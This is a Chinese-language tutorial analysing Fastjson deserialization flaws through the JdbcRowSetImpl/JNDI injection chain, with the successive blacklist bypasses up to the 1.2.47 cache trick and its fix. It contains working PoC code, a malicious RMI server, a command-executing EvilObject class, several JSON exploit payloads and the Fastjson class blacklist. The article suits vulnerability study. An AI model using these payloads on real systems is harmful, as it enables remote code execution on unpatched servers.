Java反序列化6-Fastjson JdbcRowSetImpl 链及后续漏洞分析
0x00 前言
上一节讲了TemplatesImpl链的利用方式,但是呢其局限性较大
- 需要后端开启Feature.SupportNonPublicField
- 且因为Feature.SupportNonPublicField是在fastjson1.2.22版本才引入所以只影响1.2.22-1.2.24版本fastjson
这里的JdbcRowSetImpl链比TemplatesImpl链利用范围更大一点
后面版本的fastjson漏洞都是在绕过黑名单,所以在本文中一次全部陈述
总结:
原理就是利用Fastjson反序列化导致JNDI注入从而命令执行
前言:
RMI和JNDI不同的是,前者最终代码会在其RMI服务器上运行并返回执行结果,而对于JNDI来说RMI服务器返回一个ReferenceWrapper,客户端根据返回结果自己去对应远程服务器上获取该对象然后在自己本地执行。
开始分析:
本文先是针对TemplatesImpl局限性太大问题,引入了JdbcRowSetImpl链,这个链子不需要Feature.SupportNonPublicField的支持。该链子在1.2.25版本被添加到黑名单中,所以在1.2.25版本以后一直到1.2.47版本展开了对黑名单绕过的斗争。直至1.2.48版本被修复
大概思路:
fastjson首先要根据@type产生一个与其对应的类对象clazz,然后再根据clazz生成该clazz的反序列化器
开启autotype的情况下,不管这个类是什么类,checkAutoType都会实例化一个类对象clazz出来。而如果关闭的话,只有fastjson自带的类才会被实例化类对象出来
1.2.44之前的要开autotype那是因为,我们就是单纯为了绕过黑名单然后实例化一个类对象clazz,如果不开autotype的话,就会运行到checkAutoType的最后(判断autotype是否为false),如果为false就报错
而对于1.2.47通杀漏洞来说,看其poc可知,首先是找到class的clazz,class是肯定可以找到clazz,找到clazz返回后根据其拿到反序列化器然后开始反序列化a,在反序列化val字段时,因为没找到TemplatesImpl类所以强制实例化一个TemplatesImpl类对象赋值给val成员变量然后并把TemplatesImpl类对象放在了mapping中。到b在进行反序列化时,进入到checkAutoType直接通过getClassFromMapping就可以获取到clazz了,也就是在checkAutoType中的半道就return了,从而并不会到checkAutoType最后那块的判断语句。
引用大佬的话:绕过的大体思路是通过java.lang.Class,将JdbcRowSetImpl类加载到Map中缓存,从而绕过AutoType的检测。因此将payload分两次发送,第一次加载,第二次执行。默认情况下,只要遇到没有加载到缓存的类,checkAutoType()就会抛出异常终止程序。
fastjson反序列化配合JNDI注入:
0x01 前置知识
这里要了解RMI和JNDI
我大概说一下,RMI不仅可以管理本地的java对象还可以管理远程的,RMI服务器可以通过JNDI References获取远程对象并绑定在自己的Registry中以便其他人调用
JNDI_Client.java
import javax.naming.Context;
import javax.naming.InitialContext;
public class JNDI_Client {
public static void main(String[] args) throws Exception{
String jndiName = "rmi://127.0.0.1:1099/test";
Context context = new InitialContext();
context.lookup(jndiName);
}
}
RMI_Server.java
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMI_Server {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Evil","EvilObject","http://127.0.0.1:8000/");
// 利用ReferenceWrapper包装Reference
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("test",referenceWrapper);
}
}
这里的Reference对象代表远程服务器上的EvilObject对象,其需要用ReferenceWrapper包裹一下,因为ReferenceWrapper继承了UnicastRemoteObject接口,从而让 Reference 能够被通过 RMI
进行远程访问
EvilObject.java
import java.io.IOException;
public class EvilObject {
public EvilObject() {
}
static {
try {
// win用户改成calc即可
Runtime.getRuntime().exec("open -a Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}
}
将上面的 EvilObject 编译成class,放在http服务器下
python -m SimpleHTTPServer 8000
这里注意,RMI和JNDI不同的是,前者最终代码会在其RMI服务器上运行并返回执行结果,而对于JNDI来说RMI服务器返回一个ReferenceWrapper,客户端根据返回结果自己去对应远程服务器上获取该对象然后在自己本地执行。
如果我们能够控制JNDI客户端的url路径的话,我们可以让其请求恶意RMI服务器上的对象,恶意服务器返回恶意ReferenceWrapper,客户端收到后向远程服务器获取恶意类并实例化就会造成命令执行
PS:在java版本大于1.8u191之后版本存在trustCodebaseURL的限制,只信任已有的codebase地址,不再能够从指定codebase中下载字节码
整个利用流程如下
- 首先开启恶意类存放的服务器,就是上面这个8000端口
- 再开启一个恶意RMI服务器,用于返回ReferenceWrapper,使客户端去访问恶意类存放的服务器
- 攻击者控制JNDI客户端的url参数为恶意RMI服务器
- 恶意 RMI 服务器返回
ReferenceWrapper
类 - 目标(JNDI_Client) 在执行lookup操作的时候,在
decodeObject
中将ReferenceWrapper
变为Reference
类,然后远程加载并实例化为Factory(即远程加载我们HTTP服务器上的恶意类),在实例化时触发静态代码片段中的恶意代码
源码浅析看:
https://www.yuque.com/tianxiadamutou/zcfd4v/xehnw7#643abdf7
0x02 JdbcRowSetImpl链分析
影响范围: fastjson <= 1.2.24
实验环境如下所示
Poc
import com.alibaba.fastjson.JSON;
import com.sun.rowset.JdbcRowSetImpl;
import fastjsonvuln.User;
import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.RemoteException;
public class FJPoC {
public static void main(String[] args) throws Exception {
String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/refObj\", \"autoCommit\":true}";
JSON.parse(PoC);
}
}
这次的出发点在setAutoCommit 方法,fastjson在反序列化autoCommit的时候会调用其setAutoCommit 方法这个方法利用了jndi,且请求地址为dataSourceName,这样我们就可以搭一个RMI服务器再搭一个恶意类存放服务器,然后让dataSourceName为我们的RMI服务器地址,这样在调用setAutoCommit 方法时就会请求我们的RMI服务器,其返回恶意的ReferenceWrapper对象,然后解析并访问恶意类存放服务器,然后在本地实例化该恶意类,导致了静态代码段代码被执行
0x03 简单小结
在分析完之后我们再来梳理一下,产生漏洞的原因,以及1.2.24 中利用方法的限制
-
TemplatesImpl 链
优点:当fastjson不出网的时候可以直接进行盲打(配合时延的命令来判断命令是否执行成功)
缺点:版本限制 1.2.22 起才有 SupportNonPublicField 特性,并且后端开发需要特定语句才能够触发,在使用parseObject 的时候,必须要使用JSON.parseObject(input, Object.class, Feature.SupportNonPublicField)
-
JdbcRowSetImpl 链
优点:利用范围更广,即触更为容易
缺点:当fastjson 不出网的话这个方法基本上都是gg(在实际过程中遇到了很多不出网的情况)同时高版本jdk中codebase默认为true,这样意味着,我们只能加载受信任的地址
0x04 Fastjson的抗争史
在1.2.25版本之后从两个角度进行了修复
-
自从1.2.25 起 autotype 默认关闭,这个东西如果关闭,fastjson在获取其反序列化器时对于陌生的类不会进行强制加载
-
增加 checkAutoType 方法,在该方法中扩充黑名单,同时增加白名单机制
黑名单如下
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework
1.2.25-1.2.41 绕过
由于在1.2.24修复中默认关闭了AutoType,所以这里我们要在代码中开启,不然会直接抛出错误
public class FJPoC {
public static void main(String[] args) throws Exception {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String PoC = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\", \"dataSourceName\":\"rmi://127.0.0.1:1099/refObj\", \"autoCommit\":true}";
JSON.parse(PoC);
}
下面是checkautotype函数入口,原本是直接loadclass(该处功能为获取@type对应的class,用来给下一步获取反序列化器的)
我们原本的com.sun.rowset.JdbcRowSetImpl其是在黑名单里的,所以说肯定过不去
但是呢继续往下看,如果没在黑名单里也没在白名单里就会到这里进行加载
跟进看一下,会判断classname是否以[或者L开头,如果是的话就去掉这些字符并加载
所以构造classname为Lcom.sun.rowset.JdbcRowSetImpl;进行绕过
这里没有用[绕过是因为在loadclass时实例化为了数组
1.2.42 绕过
这个版本采用了哈希黑名单以防安全研究员破解出fastjson限制了哪些类,但是呢还是被破解出来了大部分。这个版本还做了一些限制就是会判断classname是否以L并且以;结尾,但是可以用双写绕过
poc:
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;", "dataSourceName":"rmi://127.0.0.1:1099/refObj", "autoCommit":true}
1.2.43 绕过
这个版本时checkautotype对LL开头的绕过进行了封堵。
这里利用了[绕过,
https://fynch3r.github.io/Fastjson%E6%8A%97%E4%BA%89%E7%9A%84%E4%B8%80%E7%94%9F
1.2.44 绕过
这个版本限制了[开头
至此我们之前的两个利用链JdbcRowSetImpl和TemplatesImpl正式被封堵了(暂时)。在服务端放开白名单限制的情况下也绕不过黑名单。
这时候就需要利用其他链条了,这里引入JndiDataSourceFactory
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://127.0.0.1:1099/refObj"}}
黑名单封堵呢,其实是一个动态的过程,会有很多新增的jar包,如果服务端引入了这些额外的jar包,就会引入一条可利用链,,或者jdk又被发掘出了新增的链等等都会导致黑名单可被绕过。当然在1.2.25之后这都是要在显性白名单的情况下,才有的问题。
1.2.47 通杀
POC:
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://localhost:1099/refObj",
"autoCommit":true
}
}
首先通过a将JdbcRowSetImpl加入到mapping中去,然后在b反序列化时直接通过getClassFromMapping来获得clazz,从而绕过黑名单
上图写错了,应该是JdbcRowSetImpl
修复:
1.2.48中的修复措施是,在loadClass()时,将缓存开关默认置为False,所以默认是不能通过Class加载进缓存了。同时将Class类加入到了黑名单中。
0x05 参考文章
https://fynch3r.github.io/Fastjson%E6%8A%97%E4%BA%89%E7%9A%84%E4%B8%80%E7%94%9F
https://www.yuque.com/tianxiadamutou/zcfd4v/xehnw7